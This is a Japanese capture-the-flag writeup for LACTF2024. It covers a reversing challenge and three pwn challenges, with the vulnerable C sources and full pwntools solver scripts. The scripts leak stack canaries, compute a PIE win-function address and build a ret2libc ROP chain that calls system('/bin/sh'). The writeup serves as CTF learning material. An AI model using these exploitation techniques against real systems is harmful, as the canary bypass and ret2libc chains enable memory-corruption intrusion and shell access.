初めに
本記事はLACTF2024のWriteupになります。
pwnとrevの記事です。
備忘録デス。
rev/aplet321
バイナリが渡されるのでGhidraで見る。
pretty
の回数がiVar5
、please
の回数がiVar4
になるので、以下が満たされるように連立方程式すればいい。
iVar5 + iVar4 == 0x36
iVar5 - iVar4 == -0x18
Var4 = 39, Var5 = 15
となる。また、flag
の文字があるかどうかも見ているのでペイロードとしては以下を送ればいい。
flagprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease
pwn/aplet123
以下コードとバイナリが送られてくる。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
void print_flag(void) {
char flag[256];
FILE *flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof flag, flag_file);
puts(flag);
}
const char *const responses[] = {"L",
"amongus",
"true",
"pickle",
"GINKOID",
"L bozo",
"wtf",
"not with that attitude",
"increble",
"based",
"so true",
"monka",
"wat",
"monkaS",
"banned",
"holy based",
"daz crazy",
"smh",
"bruh",
"lol",
"mfw",
"skissue",
"so relatable",
"copium",
"untrue!",
"rolled",
"cringe",
"unlucky",
"lmao",
"eLLe",
"loser!",
"cope",
"I use arch btw"};
int main(void) {
setbuf(stdout, NULL);
srand(time(NULL));
char input[64];
puts("hello");
while (1) {
gets(input);
char *s = strstr(input, "i'm");
if (s) {
printf("hi %s, i'm aplet123\n", s + 4);
} else if (strcmp(input, "please give me the flag") == 0) {
puts("i'll consider it");
sleep(5);
puts("no");
} else if (strcmp(input, "bye") == 0) {
puts("bye");
break;
} else {
puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
}
}
}
ret2winの問題に見える。
Canaryが効いているのでBypassのためにCanary leakが必要になる。
入力に対して何やら文字列を返す。さっきのリストから返しているのもあれば条件分岐でi'm
の次の名前を返すものもある。
リークの脆弱性があるのは以下のコードです。
printf("hi %s, i'm aplet123\n", s + 4);
sのポインタから4バイト分先の文字列を返す。また、printf
はnullがくるまで文字を返すので、このようなaaaa(stackまで一杯)aaaai'm
といったpayloadが考えられる。文字列調整すればCanaryの値がリークできる。
Canaryの先頭は\x00
であることを考慮して以下の計算ができる。
input_buf: 64
canaryまでのバイト: 8
64 + 8 - 4 + 1(canary先頭のnullバイトを避けるため) = 69
よってa
を69個用意してその後ろにi'm
を乗せればcanaryの後半7バイトリークできる。
大体試すときはPythonのインタプリタモードが役に立つ。
実際に投入する。
canaryリークできてる。これを使ってBypassし、ret2winするだけ。
以下はsolverだ。最後にbyeを打ってloopを抜けることを忘れないようにしないといけない。
from pwn import *
context.log_level = "debug"
context.kernel = "amd64"
binfile = './aplet123'
rhost = 'chall.lac.tf'
rport = 31123
gdb_script = '''
b main
'''
elf = ELF(binfile)
context.binary = elf
def conn():
if args.REMOTE:
p = remote(rhost, rport)
elif args.GDB:
p = process(elf.path)
gdb.attach(p, gdbscript=gdb_script)
else:
p = process(elf.path)
return p
p = conn()
p.sendlineafter(b'hello', b'a'*69+b"i'm")
p.recvuntil(b'hi ')
canary = b'\x00' + p.recv(7)
p.recvuntil(b'aplet123')
print("canary: " + hex(unpack(canary)))
p.sendline(b'a'*72+ canary + b'a'*8 + pack(elf.symbols['print_flag']))
p.sendline(b'bye')
p.interactive()
pwn/52-card-monty
以下コードとバイナリが与えられる。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define DECK_SIZE 0x52
#define QUEEN 1111111111
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
srand(time(NULL));
}
void win() {
char flag[256];
FILE *flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}
long lrand() {
long higher, lower;
higher = (((long)rand()) << 32);
lower = (long)rand();
return higher + lower;
}
void game() {
int index;
long leak;
long cards[52] = {0};
char name[20];
for (int i = 0; i < 52; ++i) {
cards[i] = lrand();
}
index = rand() % 52;
cards[index] = QUEEN;
printf("==============================\n");
printf("index of your first peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 1: %lu\n", cards[0]);
printf("==============================\n");
printf("index of your second peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 2: %lu\n", cards[0]);
printf("==============================\n");
printf("Show me the lady! ");
scanf("%d", &index);
printf("==============================\n");
if (cards[index] == QUEEN) {
printf("You win!\n");
} else {
printf("Just missed. Try again.\n");
}
printf("==============================\n");
printf("Add your name to the leaderboard.\n");
getchar();
printf("Name: ");
fgets(name, 52, stdin);
printf("==============================\n");
printf("Thanks for playing, %s!\n", name);
}
int main() {
setup();
printf("Welcome to 52-card monty!\n");
printf("The rules of the game are simple. You are trying to guess which card "
"is correct. You get two peeks. Show me the lady!\n");
game();
return 0;
}
これもret2winぽい。
これもCanaryリークでのBypass問題かな。
このコードで脆弱なのはこの部分だ
#define DECK_SIZE 0x52
cards
のBufサイズは52なのに対して、leak = cards[index % DECK_SIZE];
やcards[index % DECK_SIZE] = cards[0];
で利用しているDECK_SIZEは0x52
なので、82個分のインデックスが参照できる。
どこにcanaryがあるか53から順番に試すと55にCanaryの文字列があった。
ここら辺は先頭が\x00
バイトなのでわかりやすい(リトルエンディアンで逆順)
ただこれで終わりではありません。PIE
がENABLED
なので、win
の関数のアドレスがローカルで実行時と異なります。以下のようなアドレスは使えません。
なので、元のmainに戻るreturnアドレスを2つ目のリークで見る必要があります。これは57でリークできました。
このアドレスをmain関数から探すと以下のようにmov eax,0x0
の部分になります。
相対アドレスは変わらないのでhex(0x000055555555567e - 0x000055555555564e)
した0x30
分をリークしたアドレスから引けばmain関数のアドレスとなります。同様にwin
関数もすればいいです。
0x445
分引けばいいですね。あとはret2winすればいいです。
以下がSolverです。
from pwn import *
import time
context.log_level = "debug"
context.kernel = "amd64"
binfile = './monty'
rhost = 'chall.lac.tf'
rport = 31132
gdb_script = '''
b main
'''
elf = ELF(binfile)
context.binary = elf
def conn():
if args.REMOTE:
p = remote(rhost, rport)
elif args.GDB:
p = process(elf.path)
gdb.attach(p, gdbscript=gdb_script)
else:
p = process(elf.path)
return p
p = conn()
p.sendlineafter(b'first peek?', b'55')
p.recvuntil(b'Peek 1: ')
canary = int(p.recvline()[:-1].decode())
print("canary: " + hex(canary))
p.sendlineafter(b'second peek?', b'57')
p.recvuntil(b'Peek 2: ')
main = int(p.recvline()[:-1].decode())
win = main - 0x445
payload = b"a"* 24
payload += pack(canary)
payload += pack(0x7fffffffe150)
payload += pack(win)
p.sendlineafter(b'Show me the lady!', b'1')
p.sendlineafter(b'Name: ', payload)
p.interactive()
pwn/sus
以下のコードと、バイナリ、Dockerfileが渡される。
#include <stdio.h>
void sus(long s) {}
int main(void) {
setbuf(stdout, NULL);
long u = 69;
puts("sus?");
char buf[42];
gets(buf);
sus(u);
}
checksecで確認します。
ROP問の匂いがします。とりあえずReturnまでのアドレスを調べます。
簡易に72バイト分埋めればいいのが分かるので便利ですね。
とりあえずこのアドレスを埋めた後のGadgetを探します。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# ROPgadget --binary sus
Gadgets information
============================================================
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010bb : add bh, bh ; loopne 0x401125 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040119d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401088 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x000000000040119e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040112a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040119f : add byte ptr [rax], al ; leave ; ret
0x000000000040108a : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040112b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004011a0 : add cl, cl ; ret
0x00000000004010ba : add dil, dil ; loopne 0x401125 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401127 : add eax, 0x2f03 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401128 : add ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x000000000040114d : clc ; nop ; pop rbp ; ret
0x0000000000401143 : cli ; jmp 0x4010d0
0x0000000000401140 : endbr64 ; jmp 0x4010d0
0x0000000000401149 : in eax, 0x48 ; mov dword ptr [rbp - 8], edi ; nop ; pop rbp ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010b5 : je 0x4010c0 ; mov edi, 0x404028 ; jmp rax
0x00000000004010f7 : je 0x401100 ; mov edi, 0x404028 ; jmp rax
0x000000000040114c : jge 0x401146 ; nop ; pop rbp ; ret
0x000000000040103b : jmp 0x401020
0x0000000000401144 : jmp 0x4010d0
0x00000000004010bc : jmp rax
0x00000000004011a1 : leave ; ret
0x00000000004010bd : loopne 0x401125 ; nop ; ret
0x0000000000401126 : mov byte ptr [rip + 0x2f03], 1 ; pop rbp ; ret
0x000000000040114b : mov dword ptr [rbp - 8], edi ; nop ; pop rbp ; ret
0x000000000040119c : mov eax, 0 ; leave ; ret
0x0000000000401148 : mov ebp, esp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x00000000004010b7 : mov edi, 0x404028 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040114a : mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x0000000000401147 : mov rbp, rsp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x000000000040114e : nop ; pop rbp ; ret
0x00000000004010bf : nop ; ret
0x000000000040113c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010d0
0x000000000040108c : nop dword ptr [rax] ; ret
0x00000000004010b6 : or dword ptr [rdi + 0x404028], edi ; jmp rax
0x000000000040112d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004010b8 : sub byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401125 ; nop ; ret
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010b3 : test eax, eax ; je 0x4010c0 ; mov edi, 0x404028 ; jmp rax
0x00000000004010f5 : test eax, eax ; je 0x401100 ; mov edi, 0x404028 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 65
何もなさすぎます。何も組めない。
まぁ次はシンボル見てみます。
使えるのはこんな感じ。libcからリークする感じかな?といってもレジストリに値叩き込めないし、スタック実行も禁止されてるしどうするん?
とりあえずlibcリークのためにlibcを取ってきたいので、Dockerファイルの中身を見ます。
FROM pwn.red/jail
COPY --from=debian@sha256:36a9d3bcaaec706e27b973bb303018002633fd3be7c2ac367d174bafce52e84e / /srv
COPY sus /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run
マルチステージビルドみたいなことしてる。
なので使用している共有ライブラリは普通の階層にないです。/srv
階層にいます。
dockerビルドとマウントして取り出します。
docker build -t sus .
docker run -v /home/kali/Downloads/app:/home -it sus /bin/sh
/srv/lib/x86_64-linux-gnu # cp libc.so.6 /home/
/srv/lib/x86_64-linux-gnu # cp ld-linux-x86-64.so.2 /home/
/srv/lib/x86_64-linux-gnu #
ここからバイナリコネコネ遊戯を開始する。何も思いつかないので動的解析します。
ret
直前の状態を調べるために8バイトずつ叩き込みました。
RDI
とRSI
に入力文字が入っているのが分かる。
なので引数はスタックに積む方針で良さそう。
後はput
からlibcのアドレスリークさせてmain
を再度実行させて、libcからsystem
を呼び出す。
以下がSolverだ。
from pwn import *
context.log_level = "debug"
binfile = './sus_patched'
rhost = 'chall.lac.tf'
rport = 31284
gdb_script = '''
b main
'''
elf = ELF(binfile)
context.binary = elf
libc = elf.libc
def conn():
if args.REMOTE:
p = remote(rhost, rport)
elif args.GDB:
p = process(elf.path)
gdb.attach(p, gdbscript=gdb_script)
else:
p = process(elf.path)
return p
ret = 0x0000000000401016
p = conn()
rop=ROP(elf)
rop.raw(b'A'*8)
rop.raw(b'B'*8)
rop.raw(b'C'*8)
rop.raw(b'D'*8)
rop.raw(b'E'*8)
rop.raw(b'F'*8)
rop.raw(b'\x00'*8) #RSI
rop.raw(pack(elf.got['setbuf'])) #RDI
rop.raw(b'I'*8) #RBP
rop.raw(pack(elf.sym['puts']))
rop.raw(pack(elf.sym['main']))
p.sendlineafter(b'sus?\n', rop.chain())
setbuf = unpack(p.recvline()[:-1].ljust(8, b'\x00'))
print("setbuf: " + hex(setbuf))
libc.address = setbuf - libc.symbols.setbuf
print(hex(libc.address))
rop2=ROP(libc)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8) #RSI
rop2.raw(next(libc.search(b'/bin/sh\x00'))) #RDI
rop2.raw(b'\x00'*8) #RBP
rop2.raw(pack(ret))
rop2.raw(pack(libc.sym['system']))
p.sendlineafter(b'sus?\n', rop2.chain())
p.interactive()